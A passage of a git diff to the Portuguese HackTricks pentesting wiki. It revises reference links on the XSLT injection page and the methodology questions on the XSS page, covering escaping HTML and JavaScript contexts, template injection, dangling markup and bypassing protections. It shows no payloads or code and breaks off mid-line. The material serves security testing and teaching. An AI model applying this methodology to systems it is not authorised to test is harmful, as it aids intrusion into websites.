[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection) +- Confira [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection) ## **Lista de Detecção de Força Bruta** @@ -382,8 +382,8 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt ## **Referências** -- [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)\\ -- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\ +- [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf) +- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf) - [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 4c5fd31da..10bad879f 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -11,7 +11,7 @@ 2. Você pode usar eventos ou atributos que suportam o protocolo `javascript:`? 3. Você pode contornar proteções? 4. O conteúdo HTML está sendo interpretado por algum mecanismo JS do lado do cliente (_AngularJS_, _VueJS_, _Mavo_...), você poderia abusar de uma [**Injeção de Template do Lado do Cliente**](../client-side-template-injection-csti.md). -5. Se você não puder criar tags HTML que executem código JS, poderia abusar de uma [**Injeção de Marcação Pendente - HTML sem script**](../dangling-markup-html-scriptless-injection/index.html)? +5. Se você não pode criar tags HTML que executem código JS, você poderia abusar de uma [**Injeção de Marcação Pendente - HTML sem script**](../dangling-markup-html-scriptless-injection/index.html)? 2. Dentro de uma **tag HTML**: 1. Você pode sair para o contexto HTML bruto? 2. Você pode criar novos eventos/atributos para executar código JS? @@ -19,7 +19,7 @@ 4. Você pode contornar proteções? 3. Dentro do **código JavaScript**: 1. Você pode escapar da tag `